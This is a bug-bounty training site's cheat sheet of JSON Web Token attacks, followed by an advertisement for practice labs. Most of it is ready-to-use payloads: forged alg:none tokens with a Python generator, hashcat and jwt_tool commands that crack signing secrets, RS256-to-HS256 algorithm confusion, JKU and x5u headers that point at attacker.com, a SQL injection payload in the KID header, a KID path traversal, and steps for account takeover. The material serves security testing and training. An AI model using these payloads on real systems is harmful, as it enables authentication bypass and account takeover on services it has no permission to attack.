JWT Cheatsheet

JSON Web Token Attacks

Quick reference

  • The JWT payload is NOT encrypted — always decode it and look for sensitive data
  • Try alg:none as your first test — it's the most common quick win in JWT
  • hashcat -m 16500 with rockyou.txt cracks weak secrets in seconds
  • If /jwks.json is accessible, try algorithm confusion RS256->HS256
  • KID path traversal to /dev/null lets you sign with an empty string

none algorithm (CVE-2015-9235)

Header with alg: noneBase64 payload: {"alg":"none","typ":"JWT"}.{"user":"admin"}.

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.

Variants of noneTry all case variations

none / None / NONE / nOnE / NoNe

Generate with Python

import base64, json
header = {"alg": "none", "typ": "JWT"}
payload = {"user": "admin", "role": "admin"}
h = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=').decode()
p = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()
token = f"{h}.{p}."

Secret key cracking

hashcat wordlist

hashcat -a 0 -m 16500 <jwt_token> /usr/share/wordlists/rockyou.txt

hashcat with rules

hashcat -a 0 -m 16500 <jwt_token> rockyou.txt -r /usr/share/hashcat/rules/best64.rule

jwt_tool brute forceMode -C for secret cracking

python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt

Decode the payloadThe payload is NOT encrypted, only base64-encoded

echo "<JWT_PAYLOAD>" | base64 -d | jq .

Algorithm confusion (RS256 -> HS256)

Concept

1. Servidor usa RS256 (firma asimetrica)
2. Obtener clave publica: /jwks.json o /.well-known/jwks.json
3. Cambiar alg de RS256 a HS256
4. Firmar token con la clave publica como secret HMAC
5. Servidor usa la misma clave publica para verificar HMAC -> bypass

Get the public key

openssl s_client -connect target.com:443 | openssl x509 -pubkey -noout > pubkey.pem

Exploit with jwt_tool

python3 jwt_tool.py <JWT> -X k -pk pubkey.pem

Header injection (JWK, JKU, KID)

JWK header injectionIf the server uses the key from the header instead of its own

{"alg": "RS256", "jwk": {"kty": "RSA", "n": "<tu_clave_publica>", "e": "AQAB"}}

JKU URL manipulationPoint to your server with your public key

{"alg": "RS256", "jku": "https://attacker.com/.well-known/jwks.json"}

KID SQL injectionSign the token with ATTACKER_SECRET

{"alg": "HS256", "kid": "key1' UNION SELECT 'ATTACKER_SECRET' -- "}

KID path traversalSign with an empty string (contents of /dev/null)

{"alg": "HS256", "kid": "../../../dev/null"}

x5u header spoof

{"alg": "RS256", "x5u": "https://attacker.com/cert.pem"}

Miscellaneous

Modify the payload without signing

1. Cambiar user/role en el payload
2. Mantener la firma original
3. Enviar token -> si el servidor no verifica firma = bypass

Expiration abuse

Modificar exp a valor futuro lejano o eliminar exp completamente

Cross-service relayIf multiple services share the same signing key

Usar JWT de Servicio A en Servicio B

IDOR via JWT

Decodificar JWT -> cambiar userId/email en payload -> account takeover

Find hardcoded tokens

Swagger/OpenAPI specs, JS del frontend, .env files, git history

Tools

jwt_tool

Complete JWT testing suite with automatic, tamper and exploit modes

python3 jwt_tool.py <JWT_TOKEN> -M at -t "https://target.com/api/" -rh "Authorization: Bearer"

jwt.io

Web debugger to decode and verify JWTs

https://jwt.io - Pegar token para decodificar

hashcat

Password cracker with support for JWT HMAC secrets

hashcat -m 16500 <jwt> rockyou.txt

Ready to practice?

Put these payloads to work in real labs based on bug bounty reports.

See practice labs
hunters training
650

hunters training

labs from real reports
50

labs from real reports

completions
380

completions

in bounties practiced
$200,000

in bounties practiced

40 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy
BBLabs · bug bounty training

Stop reading about bugs and start hunting them

Create your free account and practice on labs based on real reports that paid out thousands of euros. The Academy is free forever.

No card · free Academy · cancel anytime